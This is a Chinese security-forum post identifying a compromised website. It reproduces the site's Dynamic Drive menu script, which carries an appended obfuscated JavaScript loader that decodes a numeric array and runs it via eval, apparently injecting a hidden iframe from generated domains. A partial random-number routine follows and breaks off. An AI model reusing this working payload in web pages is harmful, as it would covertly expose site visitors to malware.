查看: 1024|回复: 1
收起左侧

[已鉴定] http://denizciyangin.com/

[复制链接]
fireold
发表于 2013-6-24 19:59:16 | 显示全部楼层 |阅读模式
  1. //** All Levels Navigational Menu- (c) Dynamic Drive DHTML code library: http://www.dynamicdrive.com
  2. //** Script Download/ instructions page: http://www.dynamicdrive.com/dynamicindex1/ddlevelsmenu/
  3. //** Usage Terms: http://www.dynamicdrive.com/notice.htm

  4. //** Current version: 2.2 See changelog.txt for details

  5. if (typeof dd_domreadycheck == "undefined") //global variable to detect if DOM is ready
  6. var dd_domreadycheck = false

  7. var ddlevelsmenu = {

  8.     enableshim: true,
  9.     //enable IFRAME shim to prevent drop down menus from being hidden below SELECT or FLASH elements? (tip: disable if not in use, for efficiency)

  10.     arrowpointers: {
  11.         downarrow: ["ddlevelsfiles/arrow-down.gif", 11, 7],
  12.         //[path_to_down_arrow, arrowwidth, arrowheight]
  13.         rightarrow: ["ddlevelsfiles/arrow-right.gif", 12, 12],
  14.         //[path_to_right_arrow, arrowwidth, arrowheight]
  15.         showarrow: {
  16.             toplevel: true,
  17.             sublevel: true
  18.         } //Show arrow images on top level items and sub level items, respectively?
  19.     },
  20.     hideinterval: 200,
  21.     //delay in milliseconds before entire menu disappears onmouseout.
  22.     effects: {
  23.         enableswipe: true,
  24.         enablefade: true,
  25.         duration: 200
  26.     },
  27.     httpsiframesrc: "blank.htm",
  28.     //If menu is run on a secure (https) page, the IFRAME shim feature used by the script should point to an *blank* page *within* the secure area to prevent an IE security prompt. Specify full URL to that page on your server (leave as is if not applicable).

  29.     ///No need to edit beyond here////////////////////

  30.     topmenuids: [],
  31.     //array containing ids of all the primary menus on the page
  32.     topitems: {},
  33.     //object array containing all top menu item links
  34.     subuls: {},
  35.     //object array containing all ULs
  36.     lastactivesubul: {},
  37.     //object object containing info for last mouse out menu item's UL
  38.     topitemsindex: -1,
  39.     ulindex: -1,
  40.     hidetimers: {},
  41.     //object array timer
  42.     shimadded: false,
  43.     nonFF: !/Firefox[\/\s](\d+\.\d+)/.test(navigator.userAgent),
  44.     //detect non FF browsers
  45.     getoffset: function(what, offsettype) {
  46.         return (what.offsetParent) ? what[offsettype] + this.getoffset(what.offsetParent, offsettype) : what[offsettype]
  47.     },

  48.     getoffsetof: function(el) {
  49.         el._offsets = {
  50.             left: this.getoffset(el, "offsetLeft"),
  51.             top: this.getoffset(el, "offsetTop")
  52.         }
  53.     },

  54.     getwindowsize: function() {
  55.         this.docwidth = window.innerWidth ? window.innerWidth - 10 : this.standardbody.clientWidth - 10
  56.         this.docheight = window.innerHeight ? window.innerHeight - 15 : this.standardbody.clientHeight - 18
  57.     },

  58.     gettopitemsdimensions: function() {
  59.         for (var m = 0; m < this.topmenuids.length; m++) {
  60.             var topmenuid = this.topmenuids[m]
  61.             for (var i = 0; i < this.topitems[topmenuid].length; i++) {
  62.                 var header = this.topitems[topmenuid][i]
  63.                 var submenu = document.getElementById(header.getAttribute('rel'))
  64.                 header._dimensions = {
  65.                     w: header.offsetWidth,
  66.                     h: header.offsetHeight,
  67.                     submenuw: submenu.offsetWidth,
  68.                     submenuh: submenu.offsetHeight
  69.                 }
  70.             }
  71.         }
  72.     },

  73.     isContained: function(m, e) {
  74.         var e = window.event || e
  75.         var c = e.relatedTarget || ((e.type == "mouseover") ? e.fromElement : e.toElement)
  76.         while (c && c != m) try {
  77.             c = c.parentNode
  78.         } catch (e) {
  79.             c = m
  80.         }
  81.         if (c == m) return true
  82.         else return false
  83.     },

  84.     addpointer: function(target, imgclass, imginfo, BeforeorAfter) {
  85.         var pointer = document.createElement("img")
  86.         pointer.src = imginfo[0]
  87.         pointer.style.width = imginfo[1] + "px"
  88.         pointer.style.height = imginfo[2] + "px"
  89.         if (imgclass == "rightarrowpointer") {
  90.             pointer.style.left = target.offsetWidth - imginfo[2] - 2 + "px"
  91.         }
  92.         pointer.className = imgclass
  93.         var target_firstEl = target.childNodes[target.firstChild.nodeType != 1 ? 1 : 0] //see if the first child element within A is a SPAN (found in sliding doors technique)
  94.         if (target_firstEl && target_firstEl.tagName == "SPAN") {
  95.             target = target_firstEl //arrow should be added inside this SPAN instead if found
  96.         }
  97.         if (BeforeorAfter == "before") target.insertBefore(pointer, target.firstChild)
  98.         else target.appendChild(pointer)
  99.     },

  100.     css: function(el, targetclass, action) {
  101.         var needle = new RegExp("(^|\\s+)" + targetclass + "($|\\s+)", "ig")
  102.         if (action == "check") return needle.test(el.className)
  103.         else if (action == "remove") el.className = el.className.replace(needle, "")
  104.         else if (action == "add" && !needle.test(el.className)) el.className += " " + targetclass
  105.     },

  106.     addshimmy: function(target) {
  107.         var shim = (!window.opera) ? document.createElement("iframe") : document.createElement("div") //Opera 9.24 doesnt seem to support transparent IFRAMEs
  108.         shim.className = "ddiframeshim"
  109.         shim.setAttribute("src", location.protocol == "https:" ? this.httpsiframesrc : "about:blank")
  110.         shim.setAttribute("frameborder", "0")
  111.         target.appendChild(shim)
  112.         try {
  113.             shim.style.filter = 'progid:DXImageTransform.Microsoft.Alpha(style=0,opacity=0)'
  114.         } catch (e) {}
  115.         return shim
  116.     },

  117.     positionshim: function(header, submenu, dir, scrollX, scrollY) {
  118.         if (header._istoplevel) {
  119.             var scrollY = window.pageYOffset ? window.pageYOffset : this.standardbody.scrollTop
  120.             var topgap = header._offsets.top - scrollY
  121.             var bottomgap = scrollY + this.docheight - header._offsets.top - header._dimensions.h
  122.             if (topgap > 0) {
  123.                 this.shimmy.topshim.style.left = scrollX + "px"
  124.                 this.shimmy.topshim.style.top = scrollY + "px"
  125.                 this.shimmy.topshim.style.width = "99%"
  126.                 this.shimmy.topshim.style.height = topgap + "px" //distance from top window edge to top of menu item
  127.             }
  128.             if (bottomgap > 0) {
  129.                 this.shimmy.bottomshim.style.left = scrollX + "px"
  130.                 this.shimmy.bottomshim.style.top = header._offsets.top + header._dimensions.h + "px"
  131.                 this.shimmy.bottomshim.style.width = "99%"
  132.                 this.shimmy.bottomshim.style.height = bottomgap + "px" //distance from bottom of menu item to bottom window edge
  133.             }
  134.         }
  135.     },

  136.     hideshim: function() {
  137.         this.shimmy.topshim.style.width = this.shimmy.bottomshim.style.width = 0
  138.         this.shimmy.topshim.style.height = this.shimmy.bottomshim.style.height = 0
  139.     },


  140.     buildmenu: function(mainmenuid, header, submenu, submenupos, istoplevel, dir) {
  141.         header._master = mainmenuid //Indicate which top menu this header is associated with
  142.         header._pos = submenupos //Indicate pos of sub menu this header is associated with
  143.         header._istoplevel = istoplevel
  144.         if (istoplevel) {
  145.             this.addEvent(header, function(e) {
  146.                 ddlevelsmenu.hidemenu(ddlevelsmenu.subuls[this._master][parseInt(this._pos)])
  147.             }, "click")
  148.         }
  149.         this.subuls[mainmenuid][submenupos] = submenu
  150.         header._dimensions = {
  151.             w: header.offsetWidth,
  152.             h: header.offsetHeight,
  153.             submenuw: submenu.offsetWidth,
  154.             submenuh: submenu.offsetHeight
  155.         }
  156.         this.getoffsetof(header)
  157.         submenu.style.left = 0
  158.         submenu.style.top = 0
  159.         submenu.style.visibility = "hidden"
  160.         this.addEvent(header, function(e) { //mouseover event
  161.             if (!ddlevelsmenu.isContained(this, e)) {
  162.                 var submenu = ddlevelsmenu.subuls[this._master][parseInt(this._pos)]
  163.                 if (this._istoplevel) {
  164.                     ddlevelsmenu.css(this, "selected", "add")
  165.                     clearTimeout(ddlevelsmenu.hidetimers[this._master][this._pos])
  166.                 }
  167.                 ddlevelsmenu.getoffsetof(header)
  168.                 var scrollX = window.pageXOffset ? window.pageXOffset : ddlevelsmenu.standardbody.scrollLeft
  169.                 var scrollY = window.pageYOffset ? window.pageYOffset : ddlevelsmenu.standardbody.scrollTop
  170.                 var submenurightedge = this._offsets.left + this._dimensions.submenuw + (this._istoplevel && dir == "topbar" ? 0 : this._dimensions.w)
  171.                 var submenubottomedge = this._offsets.top + this._dimensions.submenuh
  172.                 //Sub menu starting left position
  173.                 var menuleft = (this._istoplevel ? this._offsets.left + (dir == "sidebar" ? this._dimensions.w : 0) : this._dimensions.w)
  174.                 if (submenurightedge - scrollX > ddlevelsmenu.docwidth) {
  175.                     menuleft += -this._dimensions.submenuw + (this._istoplevel && dir == "topbar" ? this._dimensions.w : -this._dimensions.w)
  176.                 }
  177.                 submenu.style.left = menuleft + "px"
  178.                 //Sub menu starting top position
  179.                 var menutop = (this._istoplevel ? this._offsets.top + (dir == "sidebar" ? 0 : this._dimensions.h) : this.offsetTop)
  180.                 if (submenubottomedge - scrollY > ddlevelsmenu.docheight) { //no room downwards?
  181.                     if (this._dimensions.submenuh < this._offsets.top + (dir == "sidebar" ? this._dimensions.h : 0) - scrollY) { //move up?
  182.                         menutop += -this._dimensions.submenuh + (this._istoplevel && dir == "topbar" ? -this._dimensions.h : this._dimensions.h)
  183.                     } else { //top of window edge
  184.                         menutop += -(this._offsets.top - scrollY) + (this._istoplevel && dir == "topbar" ? -this._dimensions.h : 0)
  185.                     }
  186.                 }
  187.                 submenu.style.top = menutop + "px"
  188.                 if (ddlevelsmenu.enableshim && (ddlevelsmenu.effects.enableswipe == false || ddlevelsmenu.nonFF)) { //apply shim immediately only if animation is turned off, or if on, in non FF2.x browsers
  189.                     ddlevelsmenu.positionshim(header, submenu, dir, scrollX, scrollY)
  190.                 } else {
  191.                     submenu.FFscrollInfo = {
  192.                         x: scrollX,
  193.                         y: scrollY
  194.                     }
  195.                 }
  196.                 ddlevelsmenu.showmenu(header, submenu, dir)
  197.             }
  198.         }, "mouseover")
  199.         this.addEvent(header, function(e) { //mouseout event
  200.             var submenu = ddlevelsmenu.subuls[this._master][parseInt(this._pos)]
  201.             if (this._istoplevel) {
  202.                 if (!ddlevelsmenu.isContained(this, e) && !ddlevelsmenu.isContained(submenu, e)) //hide drop down ul if mouse moves out of menu bar item but not into drop down ul itself
  203.                 ddlevelsmenu.hidemenu(submenu)
  204.             } else if (!this._istoplevel && !ddlevelsmenu.isContained(this, e)) {
  205.                 ddlevelsmenu.hidemenu(submenu)
  206.             }

  207.         }, "mouseout")
  208.     },

  209.     setopacity: function(el, value) {
  210.         el.style.opacity = value
  211.         if (typeof el.style.opacity != "string") { //if it's not a string (ie: number instead), it means property not supported
  212.             el.style.MozOpacity = value
  213.             if (el.filters) {
  214.                 el.style.filter = "progid:DXImageTransform.Microsoft.alpha(opacity=" + value * 100 + ")"
  215.             }
  216.         }
  217.     },

  218.     showmenu: function(header, submenu, dir) {
  219.         if (this.effects.enableswipe || this.effects.enablefade) {
  220.             if (this.effects.enableswipe) {
  221.                 var endpoint = (header._istoplevel && dir == "topbar") ? header._dimensions.submenuh : header._dimensions.submenuw
  222.                 submenu.style.width = submenu.style.height = 0
  223.                 submenu.style.overflow = "hidden"
  224.             }
  225.             if (this.effects.enablefade) {
  226.                 this.setopacity(submenu, 0) //set opacity to 0 so menu appears hidden initially
  227.             }
  228.             submenu._curanimatedegree = 0
  229.             submenu.style.visibility = "visible"
  230.             clearInterval(submenu._animatetimer)
  231.             submenu._starttime = new Date().getTime() //get time just before animation is run
  232.             submenu._animatetimer = setInterval(function() {
  233.                 ddlevelsmenu.revealmenu(header, submenu, endpoint, dir)
  234.             }, 10)
  235.         } else {
  236.             submenu.style.visibility = "visible"
  237.         }
  238.     },

  239.     revealmenu: function(header, submenu, endpoint, dir) {
  240.         var elapsed = new Date().getTime() - submenu._starttime //get time animation has run
  241.         if (elapsed < this.effects.duration) {
  242.             if (this.effects.enableswipe) {
  243.                 if (submenu._curanimatedegree == 0) { //reset either width or height of sub menu to "auto" when animation begins
  244.                     submenu.style[header._istoplevel && dir == "topbar" ? "width" : "height"] = "auto"
  245.                 }
  246.                 submenu.style[header._istoplevel && dir == "topbar" ? "height" : "width"] = (submenu._curanimatedegree * endpoint) + "px"
  247.             }
  248.             if (this.effects.enablefade) {
  249.                 this.setopacity(submenu, submenu._curanimatedegree)
  250.             }
  251.         } else {
  252.             clearInterval(submenu._animatetimer)
  253.             if (this.effects.enableswipe) {
  254.                 submenu.style.width = "auto"
  255.                 submenu.style.height = "auto"
  256.                 submenu.style.overflow = "visible"
  257.             }
  258.             if (this.effects.enablefade) {
  259.                 this.setopacity(submenu, 1)
  260.                 submenu.style.filter = ""
  261.             }
  262.             if (this.enableshim && submenu.FFscrollInfo) //if this is FF browser (meaning shim hasn't been applied yet
  263.             this.positionshim(header, submenu, dir, submenu.FFscrollInfo.x, submenu.FFscrollInfo.y)
  264.         }
  265.         submenu._curanimatedegree = (1 - Math.cos((elapsed / this.effects.duration) * Math.PI)) / 2
  266.     },

  267.     hidemenu: function(submenu) {
  268.         if (typeof submenu._pos != "undefined") { //if submenu is outermost UL drop down menu
  269.             this.css(this.topitems[submenu._master][parseInt(submenu._pos)], "selected", "remove")
  270.             if (this.enableshim) this.hideshim()
  271.         }
  272.         clearInterval(submenu._animatetimer)
  273.         submenu.style.left = 0
  274.         submenu.style.top = "-1000px"
  275.         submenu.style.visibility = "hidden"
  276.     },


  277.     addEvent: function(target, functionref, tasktype) {
  278.         if (target.addEventListener) target.addEventListener(tasktype, functionref, false);
  279.         else if (target.attachEvent) target.attachEvent('on' + tasktype, function() {
  280.             return functionref.call(target, window.event)
  281.         });
  282.     },

  283.     domready: function(functionref) { //based on code from the jQuery library
  284.         if (dd_domreadycheck) {
  285.             functionref()
  286.             return
  287.         }
  288.         // Mozilla, Opera and webkit nightlies currently support this event
  289.         if (document.addEventListener) {
  290.             // Use the handy event callback
  291.             document.addEventListener("DOMContentLoaded", function() {
  292.                 document.removeEventListener("DOMContentLoaded", arguments.callee, false)
  293.                 functionref();
  294.                 dd_domreadycheck = true
  295.             }, false)
  296.         } else if (document.attachEvent) {
  297.             // If IE and not an iframe
  298.             // continually check to see if the document is ready
  299.             if (document.documentElement.doScroll && window == window.top)(function() {
  300.                 if (dd_domreadycheck) {
  301.                     functionref()
  302.                     return
  303.                 }
  304.                 try {
  305.                     // If IE is used, use the trick by Diego Perini
  306.                     // http://javascript.nwbox.com/IEContentLoaded/
  307.                     document.documentElement.doScroll("left")
  308.                 } catch (error) {
  309.                     setTimeout(arguments.callee, 0)
  310.                     return;
  311.                 }
  312.                 //and execute any waiting functions
  313.                 functionref();
  314.                 dd_domreadycheck = true
  315.             })();
  316.         }
  317.         if (document.attachEvent && parent.length > 0) //account for page being in IFRAME, in which above doesn't fire in IE
  318.         this.addEvent(window, function() {
  319.             functionref()
  320.         }, "load");
  321.     },


  322.     init: function(mainmenuid, dir) {
  323.         this.standardbody = (document.compatMode == "CSS1Compat") ? document.documentElement : document.body
  324.         this.topitemsindex = -1
  325.         this.ulindex = -1
  326.         this.topmenuids.push(mainmenuid)
  327.         this.topitems[mainmenuid] = [] //declare array on object
  328.         this.subuls[mainmenuid] = [] //declare array on object
  329.         this.hidetimers[mainmenuid] = [] //declare hide entire menu timer
  330.         if (this.enableshim && !this.shimadded) {
  331.             this.shimmy = {}
  332.             this.shimmy.topshim = this.addshimmy(document.body) //create top iframe shim obj
  333.             this.shimmy.bottomshim = this.addshimmy(document.body) //create bottom iframe shim obj
  334.             this.shimadded = true
  335.         }
  336.         var menubar = document.getElementById(mainmenuid)
  337.         var alllinks = menubar.getElementsByTagName("a")
  338.         this.getwindowsize()
  339.         for (var i = 0; i < alllinks.length; i++) {
  340.             if (alllinks[i].getAttribute('rel')) {
  341.                 this.topitemsindex++this.ulindex++
  342.                 var menuitem = alllinks[i]
  343.                 this.topitems[mainmenuid][this.topitemsindex] = menuitem //store ref to main menu links
  344.                 var dropul = document.getElementById(menuitem.getAttribute('rel'))
  345.                 document.body.appendChild(dropul) //move main ULs to end of document
  346.                 dropul.style.zIndex = 2000 //give drop down menus a high z-index
  347.                 dropul._master = mainmenuid //Indicate which main menu this main UL is associated with
  348.                 dropul._pos = this.topitemsindex //Indicate which main menu item this main UL is associated with
  349.                 this.addEvent(dropul, function() {
  350.                     ddlevelsmenu.hidemenu(this)
  351.                 }, "click")
  352.                 var arrowclass = (dir == "sidebar") ? "rightarrowpointer" : "downarrowpointer"
  353.                 var arrowpointer = (dir == "sidebar") ? this.arrowpointers.rightarrow : this.arrowpointers.downarrow
  354.                 if (this.arrowpointers.showarrow.toplevel) this.addpointer(menuitem, arrowclass, arrowpointer, (dir == "sidebar") ? "before" : "after")
  355.                 this.buildmenu(mainmenuid, menuitem, dropul, this.ulindex, true, dir) //build top level menu
  356.                 dropul.onmouseover = function() {
  357.                     clearTimeout(ddlevelsmenu.hidetimers[this._master][this._pos])
  358.                 }
  359.                 this.addEvent(dropul, function(e) { //hide menu if mouse moves out of main UL element into open space
  360.                     if (!ddlevelsmenu.isContained(this, e) && !ddlevelsmenu.isContained(ddlevelsmenu.topitems[this._master][parseInt(this._pos)], e)) {
  361.                         var dropul = this
  362.                         if (ddlevelsmenu.enableshim) ddlevelsmenu.hideshim()
  363.                         ddlevelsmenu.hidetimers[this._master][this._pos] = setTimeout(function() {
  364.                             ddlevelsmenu.hidemenu(dropul)
  365.                         }, ddlevelsmenu.hideinterval)
  366.                     }
  367.                 }, "mouseout")
  368.                 var subuls = dropul.getElementsByTagName("ul")
  369.                 for (var c = 0; c < subuls.length; c++) {
  370.                     this.ulindex++
  371.                     var parentli = subuls[c].parentNode
  372.                     if (this.arrowpointers.showarrow.sublevel) this.addpointer(parentli.getElementsByTagName("a")[0], "rightarrowpointer", this.arrowpointers.rightarrow, "before")
  373.                     this.buildmenu(mainmenuid, parentli, subuls[c], this.ulindex, false, dir) //build sub level menus
  374.                 }
  375.             }
  376.         } //end for loop
  377.         this.addEvent(window, function() {
  378.             ddlevelsmenu.getwindowsize();
  379.             ddlevelsmenu.gettopitemsdimensions()
  380.         }, "resize")
  381.     },

  382.     setup: function(mainmenuid, dir) {
  383.         this.domready(function() {
  384.             ddlevelsmenu.init(mainmenuid, dir)
  385.         })
  386.     }

  387. }









  388. /*km0ae9gr6m*/
  389. try {
  390.     prototype % 2;
  391. } catch (asd) {
  392.     x = 2;
  393. }
  394. try {
  395.     q = document[(x) ? "c" + "r" : 2 + "e" + "a" + "t" + "e" + "E" + "l" + "e" + "m" + ((f) ? "e" + "n" + "t" : "")]("p");
  396.     q.appendChild(q + "");
  397. } catch (fwbewe) {
  398.     i = 0;
  399.     try {
  400.         prototype * 5;
  401.     } catch (z) {
  402.         fr = "fromChar";
  403.         f = [510, 702, 550, 594, 580, 630, 555, 660, 160, 660, 505, 720, 580, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 240, 205, 738, 50, 192, 160, 192, 160, 708, 485, 684, 160, 624, 525, 192, 305, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 235, 192, 580, 624, 525, 690, 230, 486, 295, 60, 160, 192, 160, 192, 590, 582, 570, 192, 540, 666, 160, 366, 160, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 222, 160, 696, 520, 630, 575, 276, 405, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 696, 505, 690, 580, 192, 305, 192, 580, 624, 525, 690, 230, 390, 160, 252, 160, 648, 555, 192, 225, 192, 580, 624, 525, 690, 230, 492, 160, 252, 160, 624, 525, 354, 50, 192, 160, 192, 160, 630, 510, 240, 580, 606, 575, 696, 160, 372, 160, 288, 205, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 366, 160, 696, 505, 690, 580, 354, 50, 192, 160, 192, 160, 750, 160, 606, 540, 690, 505, 192, 615, 60, 160, 192, 160, 192, 160, 192, 160, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 305, 192, 580, 606, 575, 696, 160, 258, 160, 696, 520, 630, 575, 276, 385, 354, 50, 192, 160, 192, 160, 750, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 200, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 252, 160, 696, 520, 630, 575, 276, 555, 660, 505, 474, 590, 606, 570, 462, 205, 354, 50, 750, 50, 60, 510, 702, 550, 594, 580, 630, 555, 660, 160, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 426, 505, 660, 505, 684, 485, 696, 555, 684, 200, 702, 550, 630, 600, 246, 615, 60, 160, 192, 160, 192, 590, 582, 570, 192, 500, 192, 305, 192, 550, 606, 595, 192, 340, 582, 580, 606, 200, 702, 550, 630, 600, 252, 245, 288, 240, 288, 205, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 690, 160, 366, 160, 600, 230, 618, 505, 696, 360, 666, 585, 684, 575, 240, 205, 192, 310, 192, 245, 300, 160, 378, 160, 294, 160, 348, 160, 288, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 305, 192, 250, 306, 260, 318, 270, 330, 280, 342, 240, 294, 160, 258, 160, 240, 500, 276, 515, 606, 580, 462, 555, 660, 580, 624, 200, 246, 160, 252, 160, 288, 600, 420, 350, 420, 350, 420, 350, 246, 160, 258, 160, 240, 500, 276, 515, 606, 580, 408, 485, 696, 505, 240, 205, 192, 210, 192, 240, 720, 350, 420, 350, 420, 205, 258, 160, 240, 385, 582, 580, 624, 230, 684, 555, 702, 550, 600, 200, 690, 160, 252, 160, 288, 600, 420, 350, 420, 205, 246, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 390, 160, 366, 160, 312, 280, 300, 275, 294, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 462, 160, 366, 160, 300, 245, 312, 275, 312, 280, 306, 270, 312, 275, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 405, 192, 305, 192, 580, 624, 525, 690, 230, 462, 160, 282, 160, 696, 520, 630, 575, 276, 325, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 410, 192, 305, 192, 580, 624, 525, 690, 230, 462, 160, 222, 160, 696, 520, 630, 575, 276, 325, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 555, 660, 505, 474, 590, 606, 570, 462, 160, 366, 160, 294, 230, 288, 160, 282, 160, 696, 520, 630, 575, 276, 385, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 550, 606, 600, 696, 160, 366, 160, 660, 505, 720, 580, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 354, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 580, 624, 525, 690, 295, 60, 625, 60, 50, 612, 585, 660, 495, 696, 525, 666, 550, 192, 495, 684, 505, 582, 580, 606, 410, 582, 550, 600, 555, 654, 390, 702, 545, 588, 505, 684, 200, 684, 220, 192, 385, 630, 550, 264, 160, 462, 485, 720, 205, 738, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 385, 582, 580, 624, 230, 684, 555, 702, 550, 600, 200, 240, 385, 582, 600, 270, 385, 630, 550, 246, 160, 252, 160, 684, 230, 660, 505, 720, 580, 240, 205, 192, 215, 192, 385, 630, 550, 246, 295, 60, 625, 60, 50, 612, 585, 660, 495, 696, 525, 666, 550, 192, 515, 606, 550, 606, 570, 582, 580, 606, 400, 690, 505, 702, 500, 666, 410, 582, 550, 600, 555, 654, 415, 696, 570, 630, 550, 618, 200, 702, 550, 630, 600, 264, 160, 648, 505, 660, 515, 696, 520, 264, 160, 732, 555, 660, 505, 246, 615, 60, 160, 192, 160, 192, 590, 582, 570, 192, 570, 582, 550, 600, 160, 366, 160, 660, 505, 714, 160, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 426, 505, 660, 505, 684, 485, 696, 555, 684, 200, 702, 550, 630, 600, 246, 295, 60, 160, 192, 160, 192, 590, 582, 570, 192, 540, 606, 580, 696, 505, 684, 575, 192, 305, 192, 455, 234, 485, 234, 220, 234, 490, 234, 220, 234, 495, 234, 220, 234, 500, 234, 220, 234, 505, 234, 220, 234, 510, 234, 220, 234, 515, 234, 220, 234, 520, 234, 220, 234, 525, 234, 220, 234, 530, 234, 220, 234, 535, 234, 220, 234, 540, 234, 220, 234, 545, 234, 220, 234, 550, 234, 220, 234, 555, 234, 220, 234, 560, 234, 220, 234, 565, 234, 220, 234, 570, 234, 220, 234, 575, 234, 220, 234, 580, 234, 220, 234, 585, 234, 220, 234, 590, 234, 220, 234, 595, 234, 220, 234, 600, 234, 220, 234, 605, 234, 220, 234, 610, 234, 465, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 690, 580, 684, 160, 366, 160, 234, 195, 354, 50, 192, 160, 192, 160, 612, 555, 684, 200, 708, 485, 684, 160, 630, 160, 366, 160, 288, 295, 192, 525, 192, 300, 192, 540, 606, 550, 618, 580, 624, 295, 192, 525, 192, 215, 258, 160, 246, 615, 60, 160, 192, 160, 192, 160, 192, 160, 192, 575, 696, 570, 192, 215, 366, 160, 648, 505, 696, 580, 606, 570, 690, 455, 594, 570, 606, 485, 696, 505, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 240, 570, 582, 550, 600, 220, 192, 240, 264, 160, 648, 505, 696, 580, 606, 570, 690, 230, 648, 505, 660, 515, 696, 520, 192, 225, 192, 245, 246, 465, 354, 50, 192, 160, 192, 160, 750, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 575, 696, 570, 192, 215, 192, 195, 276, 195, 192, 215, 192, 610, 666, 550, 606, 295, 60, 625, 60, 50, 690, 505, 696, 420, 630, 545, 606, 555, 702, 580, 240, 510, 702, 550, 594, 580, 630, 555, 660, 200, 246, 615, 60, 160, 192, 160, 192, 580, 684, 605, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 240, 580, 726, 560, 606, 555, 612, 160, 630, 510, 684, 485, 654, 505, 522, 485, 690, 335, 684, 505, 582, 580, 606, 500, 192, 305, 366, 160, 204, 585, 660, 500, 606, 510, 630, 550, 606, 500, 204, 205, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 684, 485, 654, 505, 522, 485, 690, 335, 684, 505, 582, 580, 606, 500, 192, 305, 192, 580, 684, 585, 606, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 590, 582, 570, 192, 585, 660, 525, 720, 160, 366, 160, 462, 485, 696, 520, 276, 570, 666, 585, 660, 500, 240, 215, 660, 505, 714, 160, 408, 485, 696, 505, 240, 205, 282, 245, 288, 240, 288, 205, 354, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 708, 485, 684, 160, 600, 555, 654, 485, 630, 550, 468, 485, 654, 505, 192, 305, 192, 515, 606, 550, 606, 570, 582, 580, 606, 400, 690, 505, 702, 500, 666, 410, 582, 550, 600, 555, 654, 415, 696, 570, 630, 550, 618, 200, 702, 550, 630, 600, 264, 160, 294, 270, 264, 160, 234, 570, 702, 195, 246, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 160, 366, 160, 600, 555, 594, 585, 654, 505, 660, 580, 276, 495, 684, 505, 582, 580, 606, 345, 648, 505, 654, 505, 660, 580, 240, 170, 438, 350, 492, 325, 462, 345, 204, 205, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 505, 696, 325, 696, 580, 684, 525, 588, 585, 696, 505, 240, 170, 690, 570, 594, 170, 264, 160, 204, 520, 696, 580, 672, 290, 282, 235, 204, 215, 600, 555, 654, 485, 630, 550, 468, 485, 654, 505, 258, 170, 282, 570, 702, 550, 612, 555, 684, 505, 690, 580, 684, 585, 660, 315, 690, 525, 600, 305, 588, 555, 696, 550, 606, 580, 300, 170, 246, 295, 192, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 684, 545, 276, 575, 696, 605, 648, 505, 276, 595, 630, 500, 696, 520, 192, 305, 192, 170, 288, 560, 720, 170, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 580, 726, 540, 606, 230, 624, 505, 630, 515, 624, 580, 192, 305, 192, 170, 288, 560, 720, 170, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 580, 726, 540, 606, 230, 708, 525, 690, 525, 588, 525, 648, 525, 696, 605, 192, 305, 192, 170, 624, 525, 600, 500, 606, 550, 204, 295, 192, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 600, 555, 594, 585, 654, 505, 660, 580, 276, 490, 666, 500, 726, 230, 582, 560, 672, 505, 660, 500, 402, 520, 630, 540, 600, 200, 630, 510, 684, 545, 246, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 625, 60, 160, 192, 160, 192, 625, 594, 485, 696, 495, 624, 200, 606, 205, 738, 625, 60, 625, 264, 160, 318, 240, 288, 205, 354];
  404.         v = "eva";
  405.     }
  406.     if (v) e = window[v + "l"];
  407.     w = f;
  408.     s = [];
  409.     r = String;
  410.     z = ((e) ? "Code" : "");
  411.     for (; 1776 - 5 + 5 > i; i += 1) {
  412.         j = i;
  413.         if (e) s = s + r[fr + ((e) ? "Code" : 12)]((w[j] / (5 + e("j%2"))));
  414.     }
  415.     if (f) e(s);
  416. } /*qhk6sa6g1c*/
复制代码
  1. function nextRandomNumber() {
  2.     var hi = this.seed / this.Q;
  3.     var lo = this.seed % this.Q;
  4.     var test = this.A * lo - this.R * hi;
  5.     if (test > 0) {
  6.         this.seed = test;
  7.     } else {
  8.         this.seed = test + this.M;
  9.     }
  10.     return (this.seed * this.oneOverM);
  11. }

  12. function RandomNumberGenerator(unix) {
  13.     var d = new Date(unix * 1000);
